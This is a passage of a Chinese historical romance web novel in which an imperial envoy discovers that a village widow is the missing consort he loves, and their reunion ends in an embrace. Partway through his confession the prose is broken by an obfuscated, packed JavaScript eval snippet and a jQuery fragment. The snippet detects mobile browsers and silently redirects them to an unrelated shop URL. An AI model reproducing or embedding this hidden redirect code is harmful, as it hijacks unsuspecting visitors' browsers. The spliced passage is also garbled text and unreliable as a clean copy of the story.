“钦差大老爷,喜娘这丫头我给您带来了。”黄胜大嗓门,隔老远便喊出声。
冯矩起身来到花厅门口,看到瘦小的女孩儿偎在黄胜魁梧的身形边上,更显得伶仃可怜。
他先看向黄喜娘的手,那双皮开肉绽的手已经包扎好了,也不知以后会不会留下毛病。
黄胜领着着本家侄女走到冯矩跟前,扑通就跪下了。黄喜娘一呆,慌忙跟着跪下。
“这是做什么?起来吧。”
“我不起!”黄胜堂堂九尺男儿,眼泪说来就来,“大人,您可真是青天大老爷,要不是有您,我这侄女儿和她爹人可都没了。您是救命恩人,她爹爬不起来,我代他给您磕几个。”
说完,就砰砰砰连磕三声。
可怜黄喜娘,远跟不上这出了三服的表叔的思路,手足无措地跟着磕了下去。
冯矩连忙蹲下身托住她。
“好了,起来吧,别把孩子手压到了。”
黄胜豪迈道:“大人说得对,侄女儿你别磕了,我替你磕。”
说完,又砰砰砰磕了三声。冯矩尚蹲着,忍不住就近观察他的额头,发现只有一点红印,不由心里赞一声真是铁头。
喜娘认得这位钦差,还曾将其当成登徒子,见人摇身一变成了触不可及的大人,还救了她一命,心里十分愧疚,于是说道:“多谢大人救我和爹,大人如有吩咐,喜娘什么都愿意帮您做。”
“好孩子,你受苦了,回家后好好歇一歇。先起来吧。”
冯钦差连说了三回“起来”,才总算把人唤起来,他把人领到花厅坐下,说道:“喜娘,我确实有想问你的事。”
“大人请讲。”
“那天夜里,你分明有个‘姐姐’,怎么不见其人?”
虽然不明白大人为何执着于这个,喜娘还是乖乖答道:“那其实不是我亲姐姐,是村里的寡妇。只是我二哥对她有意,我不想乱了辈分,才叫她姐姐。”
“她多大年岁?”
“姐姐没说过,但是应当不大,看起来比十九岁的棠花姐还年轻,但二哥说起过,她不止十九了,那就二十岁许吧?”黄喜娘不确定地道。
黄胜在一旁听着,只觉两眼一黑,自己这机灵的侄女儿怎么说了跟没说一样。
幸好钦差大人并不介意。
钦差似乎沉思了片刻,才续问道:“她可曾说过,姓甚名谁?”
黄喜娘目光又变得狐疑且警惕,胆大包天道:“敢问大人,我阿姐是不是犯了什么事,您为何追着问?”
黄胜两眼一黑又是一黑,忙替侄女找补:“回大人,我知道她说的‘姐姐’,这位夫人乃九月底被村民从河里所救,自言姓‘高’,无亲无友,我爹看她老实又可怜,加上村里有空屋子,就留她住下了。”
三两句就给抖了个干净。
钦差听完,脸上血色似乎少了些许,又陷入了沉思,好片刻才淡淡道:“外来流民,想来无路引无凭证,你们留她之前,可曾来县衙做过登记?”
黄胜:“……”
怎么听着,口风不对劲了。
黄胜脑子还没捋清楚钦差是个什么意思,直觉已经让他扑通又跪下了。
“大人,草民错了,这就去拿人前来登记个清楚。”
冯矩:“……罢了。”
“她自言姓高,可曾说过她……”一顿,冯矩很轻地问,“故去的夫君姓甚名谁?”
这个问题,实在有点不知所谓了。
旁听的秋淼都忍不住侧头看了冯矩一眼。
黄胜没听过这么私密的问题,杵了侄女儿一肘子。
黄喜娘有气无力地道:“姓马,叫马双水。”
哐当——
钦差像是被椅子烫到了,倏地起身,动作之猛,乃至失手拂落了一只茶盏。
秋淼跟着站起身:“怎么了?!”
只见冯矩面色刷白,好不容易眼神聚焦,喃喃道:“无事,我无事。”
秋淼锦衣卫出身,何其敏锐,瞬息之间,已经把很多信息凑到了一起:九月,海州,救起,寡女……还有冯矩的态度。他想到了一个人。
着人将黄胜和黄喜娘请了出去,冯矩突然躬身,向秋淼行了个大礼。
不等他开口,秋淼便懒洋洋地道:“这是怎么了,我可受不得啊冯大人。为案件计,您不过出于谨慎多问了些话,怎么突然就给我行这般大礼了。在下奉命跟随您,只是为了查清淮盐案,这些杂七杂八的小案子你可别想劳动我。”
冯矩心头一暖:“多谢。”
“我不帮忙,你还谢上了,稀奇,真稀奇。说回正事,圣上封你为钦差,从南地北上,为的就是出其不意,能掩藏行踪,暗中行事,如今您老人家直接捅破了天,这样大摇大摆,却只拿了个小小县令,您要怎么交代?”
“我们在明处吸引目光,自有束阳他们在暗处盯着,淮地的这片湖面太平了,慢慢查太过被动,唯有反客为主,先搅浑湖水,看是哪条潜蛟先着急出头。”
束阳假死脱身后,就由明转暗,可是最出乎意料的一手棋,淮党怎么也不能想到,还有“死人”查案。
“你有章程我就放心了,能不能给我腾个屋子,昨晚没睡好,我要补个觉。”秋淼摆摆手,吊儿郎当地走出大门,猛吸一口冬日寒气,伸了个动作夸张的懒腰。
黄家庄。
乔燕等了一宿消息,辗转难眠,翌日果然眼下发青,头昏脑涨,但心里的焦急盖过了一切,她是无论如何睡不着的,只能拿着绣棚坐到廊下。
火盆没有生火,北风刺骨砭人。她捏着绣针,没一会手就冻得通红,几乎快失去知觉,于是一针扎错,指尖冒出粒鲜红的血珠子。
转眼冻成血粒子,一搓就掉了。
她呆呆地看向指尖,又看绣棚,已经忘了自己要绣什么图案——或者本来就没想绣什么图案,她只是太慌张了,给自己找个事做。
这绣棚是喜娘帮她扎的,绣线是上回托黄二买的。
她还记得,那个年轻男人不似黄氏族人,长了个少有的大块头,皮肤黝黑,五官俊朗。那天站在她门前,低着头,脸上写满茫然:“……不是这个颜色吗,我看着都是桃红呀。对不住啊,我不太会挑颜色,下次让喜娘给您挑。”
喜娘在她屋子里吃茶,也不知什么时候钻了出来,探出半个脑袋,十分的恨铁不成钢:“你可真是笨呐二哥!”
转脸看向她,眼珠子一转:“我二哥不会挑,我怕也挑不出婶婶您中意的,下回您跟他一起去吧。”
在乔燕的眼里,他们简单得宛如白纸,什么事情都写在了脸上。
他们是生机勃勃劲草,生于泥土,长于风霜,在大齐贫瘠的土地上,挣扎着抽穗。他们总用一种小心翼翼的仰慕的眼神看她,仿佛在看一朵不经风雨的富贵花。
扎根于大地的野草们,指着富贵花说:看呐,她多漂亮啊。
而富贵花低头看他们,平视着他们,仰头看他们,看到了他们的可怜与可贵。
他们的可怜,在于命运给予的太少;他们的可贵,在于他们却以这“太少”为养分,活出了最蓬勃的生命。
如今野草就将凋零。
可是富贵花既不能呼风,也不能唤雨,她离开了漂亮的花房,就一无是处。
这一瞬间,没顶的压抑扑顶而来,乔燕回屋抓起宝玺,转身拉开院门。
乔燕僵在原地。
下一刻,她忍不住往后退了一步。
一个男人越过了门槛。她又退了一步,男人彻底进了院子,反手关上了大门。
也不知过了多久,乔燕才找到自己的声音:“你,你怎么会来这里……”她忽然反应过来:“喜娘呢?她怎么样了?”
“你放心,”男人垂眸看着她,一瞬不瞬地看着她,眸色幽深,脸上没做什么表情,“她大惊一场,病倒了,她爹也是,我把他们安置在衙门里了。”
语调也一如既往地平缓清晰。
“那就好,那衙门……”乔燕下意识顺着他的话说道,“现在是归你管了?”
冯矩忽然退后半步,俯首垂睫不再看她——乔燕心里一寒,这是他从前常做的小动作,以分尊卑。
果然,他开口便换了称呼:“娘娘不是想问,微臣为何会在这里吗。臣问黄喜娘,前夜与她同游的‘姐姐’何在,她便答,乃是同村的孀妇高氏。可能因为臣心里一直想念着娘娘您,臣立马就想到,‘高’通‘乔’,这会不会是娘娘的化名呢……臣又问,高氏的亡夫谓何,您猜她说什么?”
说到“想念”二字的时候,冯矩着意放慢了语速,咬字清晰。说到最后,一顿,忽而轻笑了一下。
乔燕:“……”
他是不是疯了!
冯矩突然以卑下之姿,说欺上之言,乔燕听得目瞪口呆,心惊肉跳,从未有过的惶恐攫住了她。
乔燕不作声,冯矩也浑然不在意,慢声道:“她说,高氏亡夫姓马,名双水……娘娘,您这名字取得是不是太敷衍了,这是在说微臣吗?若是日后让旁人知到,臣该如何是好?臣明明什么都没做,却还要替您背骂名……”
乔燕战战兢兢:“你,你正常点说话。”
冯矩莞尔,背过身去,调息两三次,语气终于恢复如常:“前夜分明相遇,为何不愿认我?”
很奇异的,这句话就像一个锥子,轻易刺破了乔燕心底蒙尘的平镜。
“我凭什么要认你,”乔燕喃喃反问,“你算什么?你从前待我,不都退避三舍,谨守纲常么。三年前,我豁出脸去求今上放我与你会最后一面,你是怎么待我的?你明知那也许是我们最后一面……我脸皮都不要了,换来了什么……我看你心中无我,我又何必把你放在心上!”
冯矩静默片刻,仍娓娓道:“知情人都以为你不在了,不过是圣上压着不肯宣丧,我也以为你……你若想假死脱身,我可以帮你,只要知道你还好好的,让我放心……”
乔燕委屈得无以复加,又恨又怨,情绪如洪,溃堤万里,难以自抑地吼道:“谁要你放心!你什么都不说,谁知道你要放心!”
“五娘……”
“滚!”
“我能说什么!”
冯矩猛地回身,一把攥住她手腕,乔燕一呆,继而挣扎。而他将她两只手都握住,转身压在门上。
咫尺之距,呼吸相闻,乔燕呆住了,心砰砰直跳,满腔怨气烟消云散——他的眼竟是红了。
“你要我说什么?!如果说了便可心想事成,四年前,我就想让你不要入宫!可是说了就有用吗!风雨之中,命不由人。是我无能,护不住家族,更护不得心上人,命运推你我至此,我想认命,可是我的心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116331|193889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不听我的……它日夜跳动,默默思念,我又想,那就这样念着吧,总也不会耽误到你,我望你不要念着我,这样的思念,实在太痛苦……可是,它还想见你,见你是奢求,更是折磨,我无话可说,无人能说……”
君亲师长时常念叨:男儿当有鸿鹄之志,不能囿于情爱之困。
可这小情小爱啊,一旦埋下种子,见风就长,横冲直撞。
圣人之言规训他三纲五常,一规一矩都有衡量。
可从来没有书教过他,若心里生了妄想,要如何自洽。
束阳离开崖州的半年后,冯矩就接到了锦衣卫亲自南下带去的密旨,起复他为天子钦差,巡察南直隶不正之风。
圣旨语义含糊,锦衣卫口述了真正的旨意:“南直隶贪腐成性,淮党自成铁桶,阴奉阳违,处处掣肘。圣上要您秘密潜入南直隶,想办法在这铁桶上撬出个豁口。”
钦差身份看似风光,但此行却是冲着要命去的。
朝中无人可用,皇帝便想到了冯矩,这个断头差事料他不会拒绝,且会比任何人更用心——冯家尚有血海深仇埋在淮地。于公于私,为国为家,他都是最合适的刀。
冯矩最后看了眼住了两年的小屋,只带走了编到一半的《农经注》,在一个深夜,悄无声息地辞别了渔村。
一路披星戴月,不知跑死了多少马,他们总算在年前赶到了南直隶。这四个月里,圣上也没有闲着,已经派出人开始调查,翻过南岭后,朝中密信就不断送到冯矩手中。
他得知圣上和前锦衣卫指挥使稽川故意演了场君臣不睦的戏,削了稽川官职。得知稽川护着亳王母子就藩,却在途中打草惊蛇。密信写到,打草惊蛇后,稽川一面将那份只有末流官员的名单呈到御案,一面以迅雷不及掩耳之势控制了几个富商,摸藤顺瓜,颇有进展。冯矩为他这份敏锐的应对折服。
密信如雪花般飞来,每日一封,偶尔字里行间流露出她的行踪,他往往能盯着那短短一行字出神许久。去日苦多,这竟是支离天地的年岁里,少有的乐趣。
她动身南下。她到了徐州。她歇在彭城驿站……事发,她和亳王仓皇出逃,了无音讯。
那天走着水路,船靠岸补给,他捏着信纸,面无血色,同行的锦衣卫也为了亳王失踪而着急,没有注意他的异常,反而一个劲的催他:“冯大人,稽世子他们打草惊蛇,我们的时间不多了,恐怕要更赶一点……”
听了他的话后,冯大人回过了神,有条不紊地用火折子烧去密信,说道:“北上逆水而行,不如走陆路,日夜兼程快一些。”
这位冯大人年纪尚轻,但行事稳重,此刻见他从容如旧,锦衣卫便有如找到了主心骨,定下心神。
火信一股脑卷走纸片,不慎舔到冯矩的手指,他猛地回神,把手负于身后,没教人看见。
又过了一个多个月,锦衣卫兴高采烈地带来好消息:“冯大人,弟兄们传信,亳王一行没有出事,就藩的车队是空壳子,他们实际绕行去了山东,山东藩司已接到人,秘密送其北上回京。”
没事就好……没事就好。
数十日难眠,他已经有些虚弱,不过强撑着罢了,此刻听到好消息,不由自锦衣卫手里接过字条。
上书两行:束长史假死脱困。亳王秘至山东,欲归京。
他展露微笑,岂料这时,竟又有一只信鸟在天上盘旋。
难道还有什么事忘了写?锦衣卫吹哨接鸟,取下字条,扫了一眼,神情轻松地递给冯矩,说道:“说是少了个太妃,不可张扬,要我们回程的时候留意一下。”
这什么太妃,连个名讳和画像都没有,要怎么找?锦衣卫一看就知,此乃同僚出于命令,佯传密信,并不上心——后宫女眷罢了,于大局无关,不足挂齿。
冯矩平静地接过,看了一眼就攥进了掌心,收进宽袖里,语气如常:“知道了。诸位若歇息好了,我们便动身吧。”
说完,他先站了起来,走了两步,忽然一晃,直直地倒了下去。
他的这一生,空有兰因,此后多歧路。每当他以为自己已经空无一物时,命运总能嘲笑着再给他当头一棒。
乔燕恨他,为何不能付诸心事。若能开口,他倒是真想问问老天:何以如此薄我?
手里紧握的手腕又似挣了一下,冯矩猛地回神,凝望着身前人,喃喃:“老天终于听到了……”
“什么?”乔燕呆呆地问。
冯矩没有回答,低下头,吻住了她。没有试探,没有犹疑,好像这一吻早已经过了深思熟虑,是他的最渴求最不可求,是他的最妄念最不忘念。
如此绝望又热切。
乔燕浑身一震,很快闭上眼,放任自己沉沦下去。
唇齿交融,攻城略地,她深陷在他给予的狂风骤雨里,四肢发软,几乎喘不过气。她好像感受了什么,泪水难以自制地涌出眼眶。
他终于停了下来,长长地叹息:“你哭什么?”
她抽泣着,哽咽着,打着哭嗝,愈发喘不过气。
他捧着她的脸,轻声妥协:“你想要我说什么?你现在问,我把心刨给你。”
乔燕自哭泣中挤出破碎的话语:“我想要……你……”
她以为他会拒绝,至少会迟疑片刻,可是没有,她的话音一落,他便一言不发地抱起了她,大步走进了屋子。